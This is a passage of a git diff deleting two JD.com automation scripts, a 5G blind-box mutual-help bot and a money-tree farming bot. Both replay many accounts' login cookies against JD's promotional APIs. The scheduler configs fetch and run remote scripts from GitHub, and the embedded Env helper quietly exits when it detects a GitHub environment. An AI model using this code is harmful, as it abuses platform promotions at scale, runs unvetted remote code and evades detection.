this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mohe_help.js b/jd_mohe_help.js deleted file mode 100644 index ab1b33e47..000000000 --- a/jd_mohe_help.js +++ /dev/null @@ -1,169 +0,0 @@ -/* -5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 -活动地址: https://blindbox5g.jd.com -活动时间:2021年11月1日00:00:00-2022年1月28日23:59:59 -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#5G超级盲盒 -5 0,19 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=================================Loon=================================== -[Script] -cron "5 0,19 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js,tag=5G超级盲盒 - -===================================Surge================================ -5G超级盲盒 = type=cron,cronexp="5 0,19 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js - -====================================小火箭============================= -5G超级盲盒 = type=cron,script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js, cronexpr="5 0,19 * * *", timeout=3600, enable=true - */ -const $ = new Env('5G超级盲盒内部互助'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -let cookiesArr = [], cookie = '', message, allMessage = ''; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/api'; -//邀请码一天一变化,已确定 -$.shareId = []; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareUrl(); - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify($.name, allMessage); - $.msg($.name, '', allMessage, {"open-url": "https://blindbox5g.jd.com"}) - } - await $.wait(500) - for (let v = 0; v < cookiesArr.length; v++) { - cookie = cookiesArr[v]; - $.index = v + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n\n【自己账号内部互助】`); - for (let item of $.shareId) { - console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) - const res = await addShare(item); - if (res && res['code'] === 2005) { - console.log(`次数已用完,跳出助力`) - break - } else if (res && res['code'] === 1002) { - console.log(`账号火爆,跳出助力`) - break - } - await $.wait(2000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function addShare(shareId) { - return new Promise((resolve) => { - const body = {"shareId":shareId,"apiMapping":"/active/addShare"} - $.post(taskurl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data['code'] === 200) { - console.log(`助力好友【${data.data}】成功\n`); - } else { - console.log(`助力失败:${data.msg}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function shareUrl() { - return new Promise((resolve) => { - const body = {"apiMapping":"/active/shareUrl"} - $.post(taskurl(body), async (err, resp, data) => { - try { - data = JSON.parse(data); - if (data['code'] === 5000) { - console.log(`尝试多次运行脚本即可获取好友邀请码`) - } - if (data['code'] === 200) { - if (data['data']) $.shareId.push(data['data']); - console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function taskurl(body = {}) { - return { - 'url': `${JD_API_HOST}?appid=blind-box&functionId=blindbox_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, - 'headers': { - "accept": "application/json, text/plain, */*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-cn", - "content-type": "application/x-www-form-urlencoded", - 'origin': 'https://blindbox5g.jd.com', - "cookie": cookie, - "referer": "https://blindbox5g.jd.com", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js deleted file mode 100644 index e4850f49b..000000000 --- a/jd_moneyTree.js +++ /dev/null @@ -1,883 +0,0 @@ -/* -京东摇钱树 :jd_moneyTree.js -更新时间:2021-4-23 -活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) -京东摇钱树支持京东双账号 -注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save -===============Quantumultx=============== -[task_local] -#京东摇钱树 -3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true - -==============Loon=========== -[Script] -cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树 - -===============Surge=========== -京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js - -============小火箭========= -京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true -*/ - -const $ = new Env('京东摇钱树'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', allMsg = ``; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -let jdNotify = false;//是否开启静默运行,默认false开启 -let sellFruit = true;//是否卖出金果得到金币,默认'true'卖金果 -const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; -let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - await jd_moneyTree(); - } - } - if (allMsg) { - jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); - if (!jdNotify || jdNotify === 'false') { - if ($.isNode()) await notify.sendNotify($.name, allMsg); - $.msg($.name, '', allMsg) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jd_moneyTree() { - try { - const userRes = await user_info(); - if (!userRes || !userRes.realName) return - await signEveryDay(); - await dayWork(); - await harvest(); - await sell(); - await myWealth(); - await stealFriendFruit() - - $.log(`\n${message}\n`); - } catch (e) { - $.logErr(e) - } -} - -function user_info() { - console.log('初始化摇钱树个人信息'); - const params = { - "sharePin": "", - "shareType": 1, - "channelLV": "", - "source": 2, - "riskDeviceParam": { - "eid": "", - "fp": "", - "sdkToken": "", - "token": "", - "jstub": "", - "appType": "2", - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); - // await $.wait(5000); //歇口气儿, 不然会报操作频繁 - return new Promise((resolve, reject) => { - $.post(taskurl('login', params), async (err, resp, data) => { - try { - if (err) { - console.log("\n摇钱树京东API请求失败 ‼️‼️") - console.log(JSON.stringify(err)); - } else { - if (data) { - const res = JSON.parse(data); - if (res && res.resultCode === 0) { - $.isLogin = true; - console.log('resultCode为0') - if (res.resultData.data) { - userInfo = res.resultData.data; - // userInfo.realName = null; - if (userInfo.realName) { - // console.log(`助力码sharePin为::${userInfo.sharePin}`); - $.treeMsgTime = userInfo.sharePin; - subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`; - // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`; - // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`; - // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`; - } else { - $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) - // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"}); - } - } - } else { - console.log(`其他情况::${JSON.stringify(res)}`); - } - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (eor) { - $.logErr(eor, err) - } finally { - resolve(userInfo) - } - }) - }) -} - -function dayWork() { - console.log(`开始做任务userInfo了\n`) - return new Promise(async resolve => { - const data = { - "source": 0, - "linkMissionIds": ["666", "667"], - "LinkMissionIdValues": [7, 7], - "riskDeviceParam": { - "eid": "", - "dt": "", - "ma": "", - "im": "", - "os": "", - "osv": "", - "ip": "", - "apid": "", - "ia": "", - "uu": "", - "cv": "", - "nt": "", - "at": "1", - "fp": "", - "token": "" - } - }; - let response = await request('dayWork', data); - // console.log(`获取任务的信息:${JSON.stringify(response)}\n`) - let canTask = []; - taskInfo = []; - if (response && response.resultCode === 0) { - if (response.resultData.code === '200') { - response.resultData.data.map((item) => { - if (item.prizeType === 2) { - canTask.push(item); - } - if (item.workType === 7 && item.prizeType === 0) { - // missionId.push(item.mid); - taskInfo.push(item); - } - // if (item.workType === 7 && item.prizeType === 0) { - // missionId2 = item.mid; - // } - }) - } - } - console.log(`canTask::${JSON.stringify(canTask)}\n`) - console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`) - for (let item of canTask) { - if (item.workType === 1) { - // 签到任务 - // let signRes = await sign(); - // console.log(`签到结果:${JSON.stringify(signRes)}`); - if (item.workStatus === 0) { - // const data = {"source":2,"workType":1,"opType":2}; - // let signRes = await request('doWork', data); - let signRes = await sign(); - console.log(`三餐签到结果:${JSON.stringify(signRes)}`); - } else if (item.workStatus === 2) { - console.log(`三餐签到任务已经做过`) - } else if (item.workStatus === -1) { - console.log(`三餐签到任务不在时间范围内`) - } - } else if (item.workType === 2) { - // 分享任务 - if (item.workStatus === 0) { - // share(); - const data = {"source": 0, "workType": 2, "opType": 1}; - //开始分享 - // let shareRes = await request('doWork', data); - let shareRes = await share(data); - console.log(`开始分享的动作:${JSON.stringify(shareRes)}`); - const b = {"source": 0, "workType": 2, "opType": 2}; - // let shareResJL = await request('doWork', b); - let shareResJL = await share(b); - console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`) - } else if (item.workStatus === 2) { - console.log(`分享任务已经做过`) - } - } - } - for (let task of taskInfo) { - if (task.mid && task.workStatus === 0) { - console.log('开始做浏览任务'); - // yield setUserLinkStatus(task.mid); - let aa = await setUserLinkStatus(task.mid); - console.log(`aaa${JSON.stringify(aa)}`); - } else if (task.mid && task.workStatus === 1) { - console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`); - let receiveAwardRes = await receiveAward(task.mid); - console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`) - } else if (task.mid && task.workStatus === 2) { - console.log('所有的浏览任务都做完了') - } - } - resolve(); - }); -} - -function harvest() { - if (!userInfo) return - const data = { - "source": 2, - "sharePin": "", - "userId": userInfo.userInfo, - "userToken": userInfo.userToken, - "shareType": 1, - "channel": "", - "riskDeviceParam": { - "eid": "", - "appType": 2, - "fp": "", - "jstub": "", - "sdkToken": "", - "token": "" - } - } - data.riskDeviceParam = JSON.stringify(data.riskDeviceParam); - return new Promise((rs, rj) => { - request('harvest', data).then((harvestRes) => { - if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { - console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`) - let data = harvestRes.resultData.data; - message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; - fruitTotal = data.treeInfo.fruit; - } else { - console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`) - } - rs() - // gen.next(); - }) - }) - // request('harvest', data).then((harvestRes) => { - // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') { - // let data = harvestRes.resultData.data; - // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`; - // fruitTotal = data.treeInfo.fruit; - // gen.next(); - // } - // }) -} - -//卖出金果,得到金币 -function sell() { - return new Promise((rs, rj) => { - const params = { - "source": 2, - "jtCount": 7.000000000000001, - "riskDeviceParam": { - "eid": "", - "fp": "", - "sdkToken": "", - "token": "", - "jstub": "", - "appType": 2, - } - } - params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样) - console.log(`目前金果数量${fruitTotal}`) - sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`); - if (sellFruit && sellFruit === 'false') { - console.log(`\n设置的不卖出金果\n`) - rs() - return - } - if (fruitTotal >= 8000 * 7) { - if (userInfo['jtRest'] === 0) { - console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`) - rs() - return - } - request('sell', params).then((sellRes) => { - if (sellRes && 